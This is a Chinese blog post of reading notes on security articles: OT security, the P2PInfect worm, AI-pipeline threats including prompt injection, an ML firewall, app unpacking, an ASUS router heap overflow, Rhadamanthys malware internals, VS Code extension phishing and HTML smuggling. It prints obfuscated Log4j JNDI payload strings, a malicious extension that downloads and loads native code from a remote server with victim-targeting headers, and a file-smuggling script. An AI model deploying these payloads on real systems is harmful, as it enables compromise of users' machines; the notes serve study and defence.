好文章的笔记

 一直想开这个博文了,主要是每天玄武、gossip公众号上推的文章,一直想看,但觉得如果是平时刷手机的时候看的时候收获不大,但又不想针对每一篇文章都开一个博文,所以就有了这个集锦

IT and OT in the mix

 文章链接

 OT(operational technology),指运营技术,相关的系统有:BMS建筑管理系统、UPS不间断电源、HVAC供暖系统。这些系统存在着网络安全问题,例如:系统中有未修复的漏洞、第三方远程连接OT设备以进行供应商维护等。相应的解决方案有:

(1)掌握全面的资产清单,以便跟踪识别漏洞。

(2)网络隔离,保护关键OT系统。

(3)定期渗透测试,定期固件更新。

(4)定制业务连续性于灾难恢复计划,例如UPS的备用方案。

 总结,水文一篇。

P2PInfect: Self-Replicating Worm Hits Redis Instances

 文章链接。题目为:自我复制蠕虫攻击Redis的例子

 P2PInfect利用一个漏洞来攻击 Redis并将其传播到更大的 P2P 网络中。利用的漏洞为Lua库中的沙箱逃逸。这个蠕虫使用Rust写的(优势是更快的加密与逃避检测),名为P2PInfect。其他针对Redis的蠕虫有TeamTnT、WatchDog等,但是不同的是P2PInfect可以在云容器环境中持久化。

 P2PInfect的攻击流程如下:一旦进入 Redis 实例,蠕虫就会执行 Powershell 脚本,该脚本会更改本地防火墙设置,防止合法所有者访问受感染的 Redis 实例,同时授予蠕虫操作者不受限制的访问权限。

 P2PInfect的持久化流程如下:蠕虫会创建名为Monitor的进程,该进程存储在用户 AppData 目录的 Temp 文件夹中。此过程会下载多个随机命名的 P2PInfect 可执行文件以及加密的配置文件,确保其长期存在于受感染的系统上。

 该蠕虫通过端口 60100 与C2(command and control)僵尸网络建立 P2P 连接。

 总结,扩展视野。

Securing the AI Pipeline

 文章链接。题目为:确保AI Pipeline的安全

 类似于GPT,很多安全研究者都在使用Bard(自己用了用,感觉速度更快,其他没感觉出啥来),很多研究者都想把bard之类的gpt工具集成到自己的业务流程中,也就是Pipeline。

 Google的安全人工智能框架(SAIF),其核心要素为:

(1)各种安全措施扩展到AI系统中。

(2)针对gpt的各种插件的安全问题。

(3)自动化防御。

(4)平台级别的安全控制。

(5)…感觉都挺空的,外国人竟然也会说套话?还是我境界不够啊。

AI Pipeline model

image-20230805134209933

 重点在第5步:测试模型的反馈循环是否给出不可接受的结果(作恶/错误)。例如,正在训练自动驾驶汽车模型来识别街道标志,将停车标志识别为限速标志。(感觉类似于数据投毒)

 我们也可以不从头训练模型,而是下载模型进行微调,类似于bert。

AI Pipeline Threat model

 AI模型对应着3种攻击面:

(1)数据安全。用于训练和部署模型的数据应得到适当的保护。

(2)模型安全。应使用输入验证、输出清理和模型监控等措施来适当保护人工智能模型。

(3)环境安全。应使用软件安全和验证、网络分段和访问控制等措施来适当保护人工智能模型的部署环境。

10 weaknesses about AI model

(1)prompt注入。攻击者会尝试在prompt中注入不良数据或信息,以使您的模型执行您不希望它执行的操作,例如尝试访问底层操作系统。

(2)敏感信息暴露。由于训练数据管理不足或攻击者获得了对底层技术堆栈的访问权限,攻击者可以在此处访问敏感数据。

(3)数据完整性缺陷。攻击者获得对底层技术堆栈的访问权限后,攻击者可以将对抗性数据注入模型。

(4)访问控制缺陷。例如攻击者可以任意下载模型。

(5)Prompt过滤缺陷。

(6)代理访问。面向公众的代理可以访问私有/受限内部 API。

(7)供应链攻击。模型依赖于各种第三方库(特别是Python库)。如果使用开源库,这些库可能已被恶意第三方破坏。

(8)…

open-appsec

 基于ML的防火墙,说是可以检测0day,有意思,链接如下:链接

 传统的WAF都有一个静态匹配列表,匹配上就认为怎么样,不匹配上就怎么样。对于那些没匹配上的恶意流量,就是假阴性。静态匹配列表总是在CVE出来之后才会更新,所以总是会推迟。

 传统WAF的tradeoff:不太具体的匹配规则会提高安全级别,因为它们也可能捕捉到以前已知的漏洞的微小变化,但另一方面会导致更高数量的不必要的误报。相比之下,随着假阴性风险的增加,更具体的签名会降低安全级别,但它们通常也会减少假阳性的数量。

ML waf应用的例子

 Apache的Log4j是一个广泛使用的开源框架。它的主要用途是用Java记录应用程序消息。CVE-2021-44228描述了Log4j的漏洞,其利用Java命名和目录接口(JNDI)实现了攻击,该接口提供了一种功能,允许分布式Java应用程序以独立于资源的方式查找服务。

 典型的漏洞利用字符串如下所示:

1
${jndi:<protocol>://<server>/}

 由于CVE-2021-44228使用了ldap协议,因此第一个匹配规则是在寻找{jndi:ldap,但很快就出现了新的样本,使用了ldaps/rmi/dns/iiop/http协议。攻击者试图通过以下方式绕过字符串匹配检测:

(1)通过ldap字符串的大小写命令进行混淆:

1
{jndi:${lower:l}${lower:d}a${lower:p}

(2)其他jndi字符串的混淆:

1
${${::-j}${::-n}${::-d}${::-i}

 关于Log4j的漏洞还有CVE-2021-45046、CVE-2021-45105。

 CVE-2021-45046允许攻击者利用模式布局向log文件中添加元数据,添加的元数据可以是ThreadContext对象,使用${ctx:}循环引用自身,从而导致无限循环,使服务器崩溃。CVE-2021-45105也是会导致服务器崩溃。

 这3个漏洞的利用字符串各不相同,给静态匹配规则造成了困难。

open-appsec架构

 基于ML的防火墙架构如下:

image-20230805145824655

 在阶段1中,基于机器学习的引擎在HTTP请求中查找Attack Indicators。这些Indicators都是简短的模式,每个模式都指示HTTP请求被用来攻击的潜在可能性。对传入HTTP请求的评估基于监督的离线ML模型,该模型是在正在进行的离线监督训练过程中构建的,使用数百万个恶意和良性请求来识别指标,并将其与攻击的可能性(分数)相关联。分数不仅是为每个Indicators本身分配的,而且是为成对的Indicators分配的。

 将Indicators的得分和组合Indicators的得分聚合为第1阶段的总得分,允许open-appsec对HTTP请求的攻击可能性做出有效且准确的初始决定

 在阶段2中,基于在阶段1中观察到的指标的可疑请求在上下文机器学习评估引擎中被进一步分析。此阶段的目的是进一步确信任何HTTP请求(在第1阶段的分析中被指示为潜在恶意)确实是一种攻击,并有效地排除误报。为此,open-appsec考虑了不同的上下文,如应用程序结构、用户通常或单独如何与内容交互等等。该评估是使用在线、无监督的ML模型完成的,该模型是根据入站流量为特定的受保护环境实时构建和更新的。

 例如,sql注入字符串为:

image-20230805150802447

 阶段1针对各种字符的得分进行加和,得到分数。根据有效载荷的长度和内容,指标的类型和数量以及总分可能会有很大差异。之后可疑请求被交给阶段2。

 与阶段1基于指标的分析的初步结果相比,阶段2可以提高(确认真阳性)或降低(允许消除假阳性)流量的最终置信水平。第2阶段指标有:用户信誉得分、payload得分、url得分、参数得分。

 有一点干货,但不是很干。

工具:Cartographer

 文章链接:链接

 一个用于绘制代码覆盖率数据的 Ghidra 插件。Cartographer 允许研究人员直观地观察程序的哪些部分被执行、获取每个函数执行的详细信息、比较同一程序的不同运行等等

 未使用过,感觉Ghidra好慢..

 在windows上安装失败。

APP外壳分析

 文章链接:来源看雪公众号,跟随链接发现博主已经删帖。在此只总结简单思路。

(1)so文件中是假的section,直接删除。假的动态链接库,通过Program_Table_Load得到RVA与FA(文件地址)的对应关系,从而修复动态链接库。

(2)此时IDA可正常解析so文件,但是发现init_arrayJNI_OnLoad方法都是被加密(这两个方法在so文件被加载时被执行)。猜测解密方法在.init中。so文件中,先执行.init,再执行init_array,最后执行JNI_OnLoad。因此,等.init执行结束后直接dump内存。

(3)IDA反汇编switch..case..失败,修复一波。正常的代码流程被switch..case..打乱。发现规律为:

 (a)直接跳转到分发块的case块,下一个要执行的case块也是固定的。

 (b)对于跳回def块(还不知道这是啥)的case块,则会通过条件执行来决定下一个要执行的case块。

 用脚本进行修复。

(4)frida调试后发现有反调。测试后发现:单独启动frida-server,不注入进程,程序正常运行。而注入app进程,但不进行任何hook,程序闪退。总结:对frida的基本特征做了检测

(5)Hook openat(ARM 中的 openat 用于打开文件),定位反调代码,hook并修改返回值。

(6)继续测试,会发现对部分libc库函数(比如open)进行hook时,一样会被检测到。猜测是存在代码的hash值校验,或比较了内存与文件中的代码是否一致。按照之前的方法,hook openat定位反调代码,并hook反调试代码。

LLVM字符串加密学习笔记

https://bbs.kanxue.com/thread-276029.htm

https://zhuanlan.zhihu.com/p/104735336

 先挖个坑,以后遇到了仔细学学。

2021年天府杯针对群晖&华硕的利用

 链接如下:链接

 此文中分析的漏洞为华硕RT-AX56U。该设备支持Telnet与SSH,可以使用Telnet登录到设备,即可获取设备的shell。启动此设备,发现此设备开启cfg_server进程,其中开启了7788端口。

(1)发现cfg_severcm_rcvTcpHandler()函数中,调用pthread_create()创建线程,对连接进行处理。在cm_tcpPacketHandler()中,调用read_tcp_message()读取socket数据之后,再调用cm_packetProcess()进行处理。cm_packetProcess()功能为:根据接收数据的前4个字节的内容,在packetHandlers中匹配对应的opcode,匹配成功的话则调用对应的处理函数。

(2)再分析,发现接收的数据包格式类似于TLV(type-length-value)的格式。对(1)中所述的处理函数进行分析,发现大多数函数会对value先进行AES解密,然后对解密内容做处理。漏洞存在于AES解密的过程中,具体来说:aes_decrypt()对数据进行解密。在aes_decrypt()中,计算EVP_CIPHER_CTX_block_size(ctx) + tlv_length,然后将其传入malloc()中。由于未对tlv_length的值进行校验,当伪造tlv_length=0xfffffffa时,在会出现整数溢出,使得malloc()申请一块很小的内存,造成后续在循环调用EVP_DecryptUpdate()往该内存中写数据时出现堆溢出(malloc分配的数据在堆中)。

(3)经过测试,只有函数cm_processREQ_GROUPID()cm_processACK_GROUPID()可以无条件触发此漏洞,其他函数会依赖sessionKey来对数据进行解密或者路径上的某个条件不满足,造成无法触发漏洞。因此,这里选择通过cm_processREQ_GROUPID()来触发漏洞。

(4)如何进行漏洞利用?漏洞是由于整数溢出造成的堆溢出,假设tlv_length=0xfffffffa,后续在循环调用EVP_DecryptUpdate()时会尝试写入长度为0xfffffffa的数据,在这个过程中会出现非法内存访问造成程序崩溃。因此,想要进行漏洞利用,最好是在调用EVP_DecryptUpdate()的过程中完成。

(5)以EVP_DecryptUpdate()为例,其部分示例代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
bool EVP_DecryptUpdate(_DWORD *ctx, char *out, int *out_len, char *in, int in_len)
{
v5 = ctx[2];
// ...
v9 = *(_DWORD *)(*ctx + 4); // ctx->cipher->block_size
// ...
v12 = *ctx;
if ( (*(_DWORD *)(*ctx + 16) & 0x100000) == 0 )
{
if ( (ctx[23] & 0x100) != 0 )
return evp_EncryptDecryptUpdate(ctx, (int)out, out_len, in, in_len);
// ...
v17 = ctx[25];
// ...
v5 = evp_EncryptDecryptUpdate(ctx, (int)out, out_len, in, in_len);
if ( v5 )
{
if ( v9 <= 1 || ctx[3] )
{
v19 = 0;
ctx[25] = 0;
}
else
{
*out_len -= v9;
ctx[25] = 1;
memcpy(ctx + 27, &out[*out_len], v9);
}
if ( v17 )
v19 = *out_len;
v5 = 1;
if ( v17 )
*out_len = v19 + v9;
}
return v5;
}
if ( v9 == 1 )
{
// ...
}
LABEL_11:
v13 = (*(int (_DWORD *, char *, char *, int))(v12 + 0x18))(ctx, out, in, in_len); // (6) <===

 可以看到后续会调用*ctx+0x18处的函数指针,如果能覆盖ctx结构体中的cipher指针(对应*ctx),则有可能使程序流程执行到(6)处,从而劫持程序的控制流。说明:在(6)处,正常的流程是调用evp_EncryptDecryptUpdate()evp_EncryptDecryptUpdate()中也存在类似调用*ctx+0x18处的函数指针的代码。另外,如果能覆盖ctx结构体中的cipher指针,也可以使EVP_DecryptUpdate()提前返回,然后调用EVP_CIPHER_CTX_free(ctx),思路类似。博客原话,大概能看懂哈哈哈。

(6)通过组合发送不同的请求,以及调整构造的数据包的内容,在一定情况下可以得到如下的内存布局。

1
2
3
4
5
6
7
8
(gdb) x/4wx 0xb6400a60
0xb6400a60: 0xb6ef6b1c 0x00000000 0x00000000 0x00000000
(gdb) x/20wx 0xb6400a48
0xb6400a48: 0x00000000 0x00000000 0x00000000 0x00000000
0xb6400a58: 0x00000000 0x00000095 0xb6ef6b1c 0x00000000 ; 覆盖0xb6ef6b1c为内容可控的地址
0xb6400a68: 0x00000000 0x00000000 0x00000000 0x00000000
0xb6400a78: 0x00000000 0x00000000 0x00000000 0x00000000
0xb6400a88: 0x00000000 0x00000000 0x00000000 0x00000000

 其中0xb6400a60ctx结构体的指针,0xb6400a48malloc()返回的地址。可以看到,确实可以通过覆盖ctx结构体中cipher指针(这里是0xb6ef6b1c)的方式来劫持程序控制流,但问题是用什么地址来覆盖?需要有一块内容可控的地址。通过对cfg_server的其他功能进行分析,暂时未找到对应的操作来实现向.data/.bss等区域写入可控内容。因此,采用这种方式可能需要结合爆破或其他方法。

计算机硬件及操作系统原理介绍

 很好的文章,挖个坑:链接

手游反调试-反hook分析与绕过

 很好的文章,挖坑挖坑,好多坑呜呜呜:链接

安卓静态数据加密原理

 文章链接。安卓中有soc芯片与加密芯片,如何获取加密芯片中的数据。安卓对于数据的静态加密分为全盘加密(Full-disk encryption:FDE)与基于文件的加密(FBE)。基于文件的加密使得每个文件都有自己的密钥,这些密钥是由主密钥派生的。基于文件的加密又分为两个级别:(1)设备加密(DE),文件在运行时就是解密状态。(2)凭证加密(CE),文件仅在验证用户身份之后才是解密状态。

 实际上,现实中可能是DE、CE混合的,即DE先解密文件的一部分,例如其中的警报部分代码,之后,验证用户身份后,再进行完全解密。我们重点关注CE相关的密钥。经过研究,CE相关的密钥是由两部分共同派生的:(1)root用户拥有的文件。(2)TEE保护的密钥。那么,我们必须攻破这两部分,才能得到正确的CE密钥。这还挺难的。

 所以,我们转头研究安卓是如何做身份验证的,查看协议中有什么漏洞。安卓大部分使用gatekeeper进行身份验证,Gatekeeper 是 TEE 中常见的可信应用程序 (TA) 之一。通过与相应的 Android 守护程序(和硬件抽象层)通信。首先,gatekeeper服务端收到客户端的注册请求,收到客户端设置的密码key,并计算:Sign(scrypt(key)||hashstring),保存在服务端。其中,scrypt是密钥派生函数。最后,颁发给客户端防重放的令牌。

 当用户通过身份验证后,系统就会有有效的applicationId。接下来,需要得到解密的合成密码(Synthetic Password)。流程示意图如下:

image-20230821214748781

 如上所示,合成密码存储在 Android 文件系统中,必须使用两个不同的密钥进行解密。第一个是存储在 Android Keystore 中的常规密钥,只有当命令还包含之前由 Gatekeeper 生成的身份验证令牌(并且仍然有效)时才能使用它们。一旦完成第一次解密(在 TEE 中),就会使用散列的 applicationId 作为密钥再次解密中间缓冲区。这里的 AES 是使用 GCM 模式完成的,即:如果密钥出现问题,操作会因标签不匹配而失败。

 综上所述,攻击者需要完成三件事才能恢复 CE 密钥。(1)能够检索特权用户拥有的文件,可能会利用链接多个漏洞的内核漏洞。(2)篡改 TEE,要么从 Keymaster 泄露所需的密钥,要么攻击 Gatekeeper 中的凭证验证和身份验证令牌生成。(3)利用获得的信息进行暴力破解。

 后续有针对Gatekeeper与Weaver的攻击利用,weaver是依赖安全芯片存储键值对的函数。具体可以看博客,懒得看了呜呜呜。

恶意软件所使用的自制可执行程序的结构 – SecTodayBot

 文章链接

 文章中提到,恶意软件Rhadamanthys与挖矿软件Hidden Bee设计很相似,这表现在:自定义的可执行文件格式、虚拟文件系统的使用、组件的相同路径、类似的隐写、LUA脚本使用等。

 文章还提供了从Rhadamanthys自定义格式中重建PE的工具。Rhadamanthys中有一些自定义的可执行格式,虽然初始加载程序是典型的PE,但是大多数核心模块都以自定义格式的形式提供。Hidden Bee是Lua脚本的挖矿程序,使用了Underminer Exploit Kit进行开发。

Hidden Bee格式:NE与NS

NE

 NE类似于PE,DOS标头替换为自定义标头:

1
2
3
WORD magic;
WORD pe_offset;
WORD machine_id;

 其余标头与PE相同,只有"PE"标识符被删除。转换回去也很简单,添加"MZ""PE",并将移位的字段移动到原始偏移量。

 对于自定义的可执行文件格式,其导入和重定位相对容易,但是如果原始PE文件中有异常表,那么就会有问题。try...catch...块中, try块可能会引发异常,而catch块是通常处理异常的地方。这些处理程序的列表存储在异常表中。

 下面是一个NE模块执行的main函数,如下:

image-20230910211810897

 对main函数解析如下:

(1)检查魔术字是否EN,检查通过后,会通过add_dynamic_seh_handlers函数初始化异常目录。

(2)错误模式设置为0x8003 -> SEM_NOOPENFILEERRORBOX | SEM_NOGPFAULTERRORBOX | SEM_FAILCRITICALERRORS。这意味着所有错误消息都会被静音,很可能是为了确保隐秘性,以防模块内的某些异常无法得到正确处理。

 接下来分析add_dynamic_seh_handlers,其为程序实现自定义模块的异常处理:

image-20230910212244185

 其流程解释为:从模块获取异常表,然后通过RtlAddFunctionTable进行初始化。上述 API 函数只能用于 64 位二进制文件,并且没有 32 位等效函数,对于32位模块,如下所示:

image-20230910212939296

 其流程为:钩取NTDLL中的异常调度程序 (KiUserExceptionDispatcher)。更准确地说,RtlDispatchException中对 ZwQueryInformationProcess的调用被重定向到代理函数。NTDLL中对ZwQueryInformationProcess的原始调用(下图红色部分)已被替换为:

image-20230910213302129

 红色部分的新模块proxy_func位于NE模块内:

image-20230910213603962

 此函数检测对ZwQueryInformationProcess的调用并更改其结果。首先,调用该函数的原始版本。如果它返回0 (STATUS_SUCCESS),则在输出上设置一个附加标志(ImageDispatchEnable)(这样为啥就能做异常处理?)。Hidden Bee使用的代理函数与Rhadamanthys的代理函数相同。这样的话,NE模块就被认为是有效内存映射,这样就能找到异常处理程序。其实现在:链接

NS

image-20230910215834708

 NS 标识符之后是 Machine ID,它与 PE 文件头中的值完全相同,用于区分模块是 32 位还是 64 位。接下来是最小化的Data Directory,它仅包含 6 条记录,每个记录都包含 RVA 和大小,以 DWORD 形式给出。紧接着Data Directory之后,有一个Section列表(其数量在header中指定)。仅包含 4 个字段:RVA、大小、Raw addr和特征。

 与 PE 格式的原始结构相比,导入表结构略小。如下所示:

image-20230910222904198

 总结一下,NS的头为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
const WORD NS_MAGIC = 0x534e;

namespace ns_exe {

const size_t NS_DATA_DIR_COUNT = 6;

enum data_dir_id {
NS_IMPORTS = 1,
NS_RELOCATIONS = 3,
NS_IAT = 4
};

typedef struct {
DWORD dir_va;
DWORD dir_size;
} t_NS_data_dir;

typedef struct {
DWORD va;
DWORD size;
DWORD raw_addr;
DWORD characteristics;
} t_NS_section;

typedef struct {
DWORD dll_name_rva;
DWORD original_first_thunk;
DWORD first_thunk;
DWORD unknown;
} t_NS_import;

typedef struct NS_format {
// 0x534e
WORD magic;
WORD machine_id;
WORD sections_count;
WORD hdr_size;
DWORD entry_point;
DWORD module_size;
DWORD image_base;
DWORD image_base_high;
DWORD saved;
DWORD unknown1;
t_NS_data_dir data_dir[NS_DATA_DIR_COUNT];
t_NS_section sections[SECTIONS_COUNT];
} t_NS_format;

};

 其转换器为:链接。下面展示Hidden Bee加载NS格式的驱动程序

image-20230910224342439

To be continued…

Rhadamanthys分析

 文章链接1链接2

 Rhadamanthys是一种高级信息窃取程序。感觉这是KingCrete的技术成长日记哈哈哈。Rhadamanthys的功能极为丰富,可以窃取好多信息,如下所示:

image-20230907143141058

(1)创建一个堆,并将.rdata中的blob写入堆,之后解密为shellcode。

(2)使用VirtualAlloc创建新分配的内存,之后调用memcpy将shellcode从堆复制到新内存。然后,使用VirtualProtect将内存段的权限改为RWX。接下来,再将shellcode转移到新地址(0x42F6F0)。

(3)使用回调函数运行shellcode,具体而言,函数1中调用ImmEnumInputContext(此API中的第2个参数可以是一个函数,这是一个回调函数,在调用ImmEnumInputContext时触发运行此函数。),此时第2个参数为shellcode。为什么不用CreateThread\CreateRemoteThread?这是为了防检测啦。

(4)将shellcode dump下来并用Blobrunner调试,但是文章中用IDA调试的。

  (a)sub_45029E

image-20230907160538384

  其中,sub_450249是通过访问进程环境块以获取kenel32.dll的地址。sub_45036E是在kernel32.dll中找某函数返回,这些函数为VirtualAlloc|LocalFree|LocalAlloc|VirtualFreesub_450077将解密shellcode中的数据,并写入LocalAlloc分配的内存。v8[0]函数则是对VirtualAlloc的调用。sub_45003A则是将解密shellcode中的数据复制到另一位置。最后,到v3()则跳转到其他shellcode。

  (b)第2个shellcode,是Rhadamanthys的核心,里面也有一些反调试(主要是从al-khaser中用的)。例如,检测虚拟环境(vmware、vbox)与沙箱如下:

image-20230907161811793

image-20230907161824400

image-20230907161913575

  检查与安全相关的dll:

image-20230907161957222

  Rhadamanthys的异常处理(SEH)操作非常有趣,SEH可以被认为是有两个指针的链表,分别指向下一条SEH记录、处理错误代码的函数。如何使用?

  Step1:获取ZwQueryInformationProcess的地址,并以自身进程做参数,查找自身进程的信息。

  Step2:获取KiUserExceptionDispatcher的地址(SEH),并开始迭代搜索,找出哪些错误处理函数调用了ZwQueryInformationProcess。如下所示:

image-20230907164222634

  Step3:在sub_5A5C中,此功能为将ZwQueryInformationProcess函数挂钩子。如下所示:

image-20230907164629637

  如何运行?当SEH处理函数中调用ZwQueryInformationProcess时,会被替换成钩子函数,钩子函数会执行ZwQueryInformationProcess并将ProcessInformation修改为0x6D,该标志决定是否允许在加载模块的内存空间之外执行。即,它允许对 shellcode 执行异常处理(没太懂,感觉是shellcode自己写了某些seh处理函数?)。如下所示:

image-20230907165556779

  Rhadamanthys在SEH链中默认注册了_except_handler函数,由shellcode触发的每个异常都会到达这里。此做法是为了避免在触发错误时引起怀疑。具体流程如下所示(感觉主要是怕shellcode引起异常时没有seh函数处理,并且对可能暴露的地方ZwQueryInformationProcess进行伪装,就是钩取):

image-20230907171314490

  之后,将调用setErrorMode并以0x8003作为参数。0x8003代表:不显示严重错误处理程序消息框、不显示 Windows 错误报告对话框、OpenFile 函数在找不到文件时不显示消息框。换句话说,加载程序不希望系统在屏幕上显示任何错误,并且希望自己处理它们。这是Rhadamanthys为了不引起任何怀疑而采取的另一种策略。

  为了反检测,Rhadamanthys创建互斥锁并冒充是合法的(这部分感觉有点迷)。还有Rhadamanthys为了防止自己被挂钩子,它是这样做的:(1)获取ntdll.dll的句柄并将其加载到虚拟内存中(从文件中载入?),然后获取已加载的真实ntdll.dll的句柄。(2)它将ZwProtectVirtualMemorySYSCALL的字节复制到另一个虚拟内存中,以便在不显式使用ntdll地址空间中的 ZwProtectVirtualMemory的情况下使用它。(3)获取真模块和假模块(从文件中载入)的导出表,并对它们进行迭代。使用memcmp进行比较,如果发现不同,加载器将改变真模块ntdll中函数的保护,并使用memcpy将数据从假模块复制到真模块。通过这种方式,Rhadamanthys验证是否设置钩子。

  除了ntdll.dll之外,Rhadamanthys还检查user32.dll|advapi32.dll|ole32.dll。之后,解密数据(rc4算法),可以得到C2服务器地址。接下来,进行网络配置,首先使用GetUserDefaultLangIDGetLocaleInfoW获取主机默认语言与所在区域。Rhadamanthys动态解析多个函数(例如socketWSAIotclCreateCompletionPort)以使用 IOCP 套接字模型。Rhadamanthys使用WSAIoctl调用 LPFN_CONNECTEX的处理程序以使用ConnectEx函数,最终,Rhadamanthys与WSARecvWSASend进行通信。

  之后,将在C2下载dll,并命名为nsis_uns[xxx].dll。接下来,使用Rundll32命令运行xxx.dll中的xxx函数。

  Rhadamanthys中有NSIS模块,专门用于收集数据。NSIS模块分为加载器与真正的代码。加载器是通过很长的命令执行的,且其检出率很低。对于加载器,其使用LocalAlloc分配内存,并使用MapViewOfFilememmove将其复制到内存,最终转到shellcode。这个shellcode用于解压与注入Rhadamanthys本身的内存。

  实际能力在此忽略,不是很重要感觉。

基于VS Code的钓鱼

 文章链接

 vscode安装扩展的方法:UI视图(最常用的做法)、.vsix扩展文件、VSCode URI处理程序安装扩展。其中,VSCode URI处理程序安装扩展指的是以vscode://URI来安装扩展。安装VSCode时,会自动注册vscode://URI协议处理程序。如下所示:

image-20230914181122418

 当在浏览器中输入vscode://URI时,会执行"%LOCALAPPDATA%\Programs\Microsoft VS Code\Code.exe" "--open-url" "--" "vscode://URI"。在这条指令中,会调用vscode/src/vs/code/electron-main/app.ts中的handleProtocolUrl函数,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
private async handleProtocolUrl(windowsMainService: IWindowsMainService, urlService: IURLService, uri: URI, options?: IOpenURLOptions): Promise<boolean> {
// 打开 vscode 窗口
if (shouldOpenInNewWindow) {
this.logService.trace('app#handleProtocolUrl() opening empty window and passing in protocol url:', uri.toString(true));
const window = firstOrDefault(await windowsMainService.open({
context: OpenContext.API,
cli: {...this.environmentMainService.args},
forceNewWindow: true,
forceEmpty: true,
gotoLineMode: true,
remoteAuthority: getRemoteAuthority(uri) // 读取 URI 并绑定到新开启的 vscode
}));
await window?.ready();
// 打开 uri 服务
return urlService.open(uri, options);
}
}

urlService.open函数将URI的值转发给vscode中所有其他已注册的URI处理程序,其中一种处理程序为/src/vs/workbench/services/extensions/browser/extensionUrlHandler.ts,用于与vscode中已安装的扩展进行交互。

 vscode中uri的格式如下:

1
2
3
4
 vscode://hellothere.test
\_/ \________/ \_/
| | |
Scheme PublisherID ExtensionName

 首先,根据正则表达式检查URI是否为扩展程序(匹配PublisherID+ExtensionName):

1
2
3
function isExtensionId(value: string): boolean {
return /^[a-z0-9][a-z0-9\-]*\.[a-z0-9][a-z0-9\-]*$/i.test(value);
}

 如果检查完扩展程序,则接下来检查扩展是否安装。若未安装,则向vscode的marketplace发送POST请求以搜索扩展。如果找到结果,则会返回指向扩展的VSIX包位置的URL。然后提示用户下载并安装扩展。初始 POST 请求的extensionsGallery服务器值是从存储在%LOCALAPPDATA%\Programs\Microsoft VS Code\resources\app\product.json中的serviceUrl变量中读取的。serviceUrl变量的值为:https://marketplace.visualstudio.com/_apis/public/gallery。因此,只能下载marketplace的扩展。

 那我们想钓鱼,那么就得让受害者下载我们自己写的扩展,那咋办咧?答案是将我们写的扩展发布到marketplace中。我们写好发布商名称与发布商id,之后就可以上传.vsix扩展文件,并由微软扫描。.vsix中的package.json中定义了扩展名。扩展名可以写为com。此时vscode会提示:

image-20230914200249736

 我们不想让vscode向用户显示这一点。经过研究,package.json定义了:

1
2
"name": "com",
"displayName": "My Extension Name"

 此时就会向用户显示:'My Extension Name' is not installed.。此时,我们写vscode://targetdomain.com/internal/path.html?login=true,其中targetdomain为发行商id,com/internal/path.html?login=true为扩展名(有一个疑问是前面的正则不会匹配失败吗?)。

 接下来,就要编写扩展的代码。在链接中描述了如何生成恶意的vscode扩展。在扩展(js)中,可以让其调用C++的代码,这用到了Node Native-Addons技术,相当于dll。扩展逻辑为:从远程服务器获取Node Native-Addons的代码,并使用require()加载到扩展中。(这样微软在提交.vsix的时候就很难扫描出来)

 如下代码在扩展初始激活时运行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
/**
* 描述参数 context 的类型为 vscode.ExtensionContext
* @param {vscode.ExtensionContext} context
*/
function activate(context) {
function get_data(data, outfile){
fs.writeFileSync(outfile, data);
if(outfile.endsWith(".node")){
// 使用 require() 导入刚接收到的数据
require(process.env.LOCALAPPDATA + "/encoding.node");
}
}
async function get_module(path, outfile) {
// path = "/api/v1/custom.js"
// outfile = ".../encoding.node"
var options = {
hostname: "server.com",
path: path,
port: 443,
};
return new Promise((resolve) => {
https.get(options, res => {
var data = [];
// 监听 data 事件,将接收到的数据放入 data 数组
// 监听 end 事件,data -> buffer,并调用 get_data 函数
res.on('data', function(chunk) { data.push(chunk); }).on('end', function() {
var buffer = Buffer.concat(data);
get_data(buffer, outfile);
});
})
})
}
// 立即执行 get_module() 函数
(async () => await get_module("/api/v1/custom.js", process.env.LOCALAPPDATA + "/encoding.node"))();
}

 可以丰富options,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
async function get_module(path, outfile) {
var options = {
hostname: "server.com",
path: path,
port: 443,
headers: {
'X-VSCode-Domain': process.env.USERDOMAIN,
'X-VSCode-User': process.env.USERNAME,
'X-VSCode-Arch': process.env.PROCESSOR_ARCHITECTURE
}
};
}

 这样的话,就可以针对特定人群进行感染。主要可以在文件下载服务器的Apache上使用mod_rewrite模块写以下机制(当匹配成功时就给恶意代码,否则给正常代码):

1
2
3
4
5
6
7
8
# If domain is correct
RewriteCond %{HTTP:X-VSCode-Domain} =targetdomain
# And username is correct
RewriteCond %{HTTP:X-VSCode-User} =victim
# Then send payload
RewriteRule ^.*$ "/files/payload.node" [END]
# Else send benign file
RewriteRule ^.*$ "/files/fake.node" [END]

感染过程

 分发如下url:vscode://targetdomain.com/internal/login.html,此时已经注册了名为com/internal/login.html的包,打开并安装就钓鱼成功。

什么是好的linux内核漏洞?

 文章链接

 好的漏洞:不太容易发现,不会造成崩溃,是否被程序经常使用,是否能被黑客可靠的利用。从攻击者的角度来看,一个好的错误是一个高度可利用的错误,并且会影响攻击者真正关心的许多平台。其中很多具体的技术资料,在此就略过,要不耗时太长了。

HTMLSmuggler:绕过IDS和通过HTML走私传递的JS有效负载生成器

HTML走私

 HTML走私:浏览器根据HTML文件的内容在主机上创建恶意文件,而不是转发/下载恶意软件。HTML走私可以通过在HTML页面中将恶意文件隐藏为编码后的字符串来绕过安全性检查和在线检测。

走私方式1:Javascript Blob

 Blob对象表示一个不可变、原始数据的类文件对象。它的数据可以按照文本或二进制的格式进行读取,也可以转换为ReadableStream来读取。借助Blob,我们可以将我们的恶意文件存储在HTML代码中,然后将其置入浏览器中,而不是直接向Web服务器发送文件上传请求。

(1)借助powershell,将文件转为base64:

1
$base64string = [Convert]::ToBase64String([IO.File]::ReadAllBytes($FileName))

(2)替换html文件中base64_encoded_filefileName所指的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<html> 
<body>
<script>
var fileName = xxx
var base64_encoded_file = xxx
function _base64ToArrayBuffer(base64, mimeType) {
// 解码 base64 数据
var binary_string = window.atob(base64);
var len = binary_string.length;
var bytes = new Uint8Array(len);
for (var i = 0; i < len; i++){
bytes[i] = binary_string.charCodeAt(i);
}
